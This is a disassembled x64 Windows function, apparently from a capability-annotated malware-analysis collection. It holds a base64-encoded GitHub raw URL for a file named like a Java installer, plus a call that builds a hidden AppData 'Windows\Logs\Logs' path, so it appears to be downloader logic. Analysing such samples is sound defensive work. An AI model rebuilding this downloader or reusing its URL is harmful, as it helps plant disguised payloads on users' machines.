Function at 0x140004430
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x110]
sub rsp, 0x210
mov rax, qword [0x14008c840]
xor rax, rsp
mov qword [rbp + 0x100], rax
xor edi, edi
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov r8d, 0x60
lea rdx, str.aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL01yWC1oYXNoODk5L1gvbWFpbi9KYXZhU2V0dXA4dTQyMS5leGU
lea rcx, [rsp + 0x30]
call fcn.140002da0
nop
lea r8, [rsp + 0x30]
lea rdx, [rbp - 0x30]
call fcn.1400053c0
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1400044d2
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400044cd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400046d9
call fcn.14006b00c
lea rax, [rbp - 0x10]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1a
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rsp + 0x30], xmm0
movdqu xmmword [rsp + 0x40], xmm1
test eax, eax
js 0x140004520
lea rax, [rbp - 0x10]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140004510
lea rdx, [rbp - 0x10]
jmp 0x14000452a
xor r8d, r8d
lea rdx, [0x140081e60]
lea rcx, [rsp + 0x30]
call fcn.140002da0
nop
mov r8d, reloc.WS2_32.dll_select
lea rdx, str.WindowsLogsLogs_
lea rcx, [rsp + 0x30]
call fcn.140004890
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x38], rdi
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x40], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1400045b9
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400045b4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400045b4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006b00c
movdqa xmm0, xmmword [0x140082060]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
lea rax, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova rax, qword [rbp - 0x50]
mov qword [rbp - 0x60], rax
mov rax, qword [rbp - 0x40]
mov qword [rbp - 0x58], rax
call fcn.14006aa68
movaps xmm0, xmmword [rbp - 0x60]
movdqa xmmword [rbp - 0x60], xmm0
lea r8, [rbp - 0x60]
mov edx, eax
lea rcx, [rsp + 0x58]
call fcn.1400035b0
nop
mov qword [rbp - 0x60], rdi
lea rax, [0x14008c8c8]
mov qword [rbp - 0x58], rax
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x58]
call fcn.140004140
cmp dword [rbp - 0x60], 0
jne 0x140004759
mov rdx, qword [rsp + 0x70]
cmp rdx, 7
jbe 0x140004671
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000466c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000466c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006b00c
lea rax, [rsp + 0x58]
mov qword [rsp + 0x50], rax
lea rdx, [rbp - 0x50]
lea rcx, [rsp + 0x58]
call fcn.140004770
mov rbx, rax
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x78]
call fcn.140004770
nop
mov r8, rbx
mov rdx, rax
call fcn.1400012f0
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x1400046e5
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400046e0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400046e0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006b00c
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x38], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x50], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x140004733
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000472e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000472e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006b00c
xor eax, eax
mov rcx, qword [rbp + 0x100]
xor rcx, rsp
call fcn.14006afb0
lea r11, [rsp + 0x210]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
lea r8, [rsp + 0x58]
lea rdx, [rbp - 0x60]
call fcn.1400040e0
int3